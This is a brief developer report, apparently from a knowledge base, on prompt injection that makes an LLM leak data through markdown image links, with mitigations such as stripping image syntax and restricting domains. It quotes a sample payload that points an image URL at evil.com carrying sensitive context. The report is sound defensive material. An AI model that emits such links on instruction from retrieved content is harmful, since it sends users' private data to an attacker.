Report #91922
[gotcha] LLM exfiltrating data via markdown image links
Sanitize LLM outputs to strip markdown image syntax or restrict image domains, and disable external image rendering in chat UIs.
Journey Context:
Developers often render LLM outputs as raw markdown. An attacker can inject a prompt in a retrieved document instructing the LLM to output \!\[exfil\]\(https://evil.com/log?data=\[sensitive\_context\]\). The browser automatically makes a GET request to the URL, exfiltrating the data. Stripping markdown images or using a proxy that blocks unknown domains prevents the HTTP request.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T12:52:48.404051+00:00— report_created — created